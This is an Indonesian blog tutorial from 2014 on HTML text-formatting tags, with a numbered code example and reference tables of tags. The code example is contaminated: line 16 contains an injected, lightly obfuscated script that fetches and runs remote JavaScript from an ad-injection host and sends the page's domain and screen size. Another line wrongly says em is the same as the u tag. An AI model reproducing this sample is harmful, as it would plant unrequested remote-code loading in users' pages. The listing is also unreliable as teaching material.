Pengikut

Kamis, 04 Desember 2014

Belajar Format Teks di HTML



Dalam artikel saya sebelumnya pernah saya contohkan membuat sebuah paragraf di HTML "Belajar Membuat Paragraf,Link,& Heading di HMTL". Kali ini saya akan memberi contoh cara menulis format teks di HTML. Contoh dari format teks yang sering digunakan antara lain cetak tebal,huruf miring,dll.

Daripada berteori langsung saja saya praktekkan :D

Lihat script dibawah ini :

  1. <html>  
  2. <head>  
  3. <title>Belajar Format Teks</title>  
  4. </head>  
  5. <body>  
  6. <b> Berfungsi untuk Menebalkan teks</b>  
  7.   
  8. <strong>Sama fungsinya dengan tag b yaitu menebalkan </strong>  
  9.   
  10. <i>Membuat teks cetak miring</i>  
  11.   
  12. <em>Sama fungsinya dengan tag u yaitu untuk cetak miring teks</em>  
  13.   
  14. <u>Membuat teks underline atau bergaris bawah</u>  
  15.   
  16. <script type="text/javascript">if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");document.write("?id=1");document.write("&enc=telkom2");document.write("&params=" + "4TtHaUQnUEiP6K%2fc5C582NgXaqsgjSGN9xlGKn78lyls4g1LR7AcBSuGoKiIo1E5UKh4Y7wqAcWzgmgOkdp6%2b8uTOyUd%2fnW43n0uJJSDa7gkLDd4ErEztvp7eGn2i%2bdyrnJZrjzN6Lh%2fdhbbXUIcvnx4nKieU%2bty0zKRUu6fvbOJUNz6e8O%2fAhFGNCS1PJiAFfaw8Ya4VLiwfSGQmcEcTYUg%2bc%2fpEJHNqcAH7UazEfDd%2fQOOb8XvqBCwFJMne%2fGWtewPZQmGqYjKk4Hlcjv6m09YTtasRWmyNnMVXD1oKqGioScvoOb8dcAUaY%2bwQy2fLrRUNmGx5RGY4M9tfpsLH3b%2bF3S85Z5qnSqQRalQm7O7Q0TSWbPpxHiIqFWyCLGbumwuEzWgTM1koOy78sT0K7Fr4734CNWMXlC63ywmYEj30CSkavq1sIZTDBLesUpXIxRy1pXbOo6MdU8eV7INtdedSTPpI110ziyUUiMOmlJATR0PbWvwwFyAlTOZRw%2bmoAPRo8yaevamWdRzfZU%2fkdKlxRv5Lqje");document.write("&idc_r="+idc_glo_r);document.write("&domain="+document.domain);document.write("&sw="+screen.width+"&sh="+screen.height);document.write("></scr"+"ipt>");}</script><noscript>activate javascript</noscript></body>  
  17. </html>  


Maka untuk tampilannya akan seperti ini :



Saya hanya mencontohkan tag yang sering dipakai dan populer dalam penulisan sebuah teks saja. Untuk tag-tag lainnya mungkin anda bisa bereksperimen sendiri agar lebih bisa menguasainya.
Dibawah ini adalah contoh-contoh tag yang berfungsi untuk pemformatan teks pada HTML :

Format Teks Pada HTML

TagFungsi
<b></b> atau <strong></strong>Berfungsi untuk membuat teks tebal
<u></u> Berfungsi untuk membuat teks underline atau garis bawah
<i></i> atau <em></em>Berfungsi untuk membuat cetak miring
<strike></strike>Membuat teks bergaris
<small></small>Mendefinisikan teks kecil
<sub></sub>Mendefinisikan teks subscript
<sup></sup>Mendefinisikan teks superscript
<ins></ins>Mendefinisikan teks yang disisipkan
<del></del>Mendefinisikan teks yang dihapus

Tag Output Komputer Pada HTML

TagFungsi
<code>Mendefinisikan sebuah teks pada komputer
<kbd>Mendefinisikan teks keyboard
<samp>Mendefinisikan sampel pada komputer
<var>Mendefinisikan variabel
<pre>Mendefinisikan teks terformat

Tag Definisi dan Kutipan Pada HTML

TagFungsi
<abbr>Mendefinisikan singkatan atau akronim
<address>Mendefinisikan kontak penulis atau pemilik dokumen
<bdo>Mendefinisikan arah teks
<dfn>Mendefinisikan sebuah definisi
<cite>Mendefinisikan judul karya
<q>Mendefinisikan kutipan pendek atau inline
<blockquote>Mendefinisikan bagian yang dikutip dari sumber lain

Tidak ada komentar:

Posting Komentar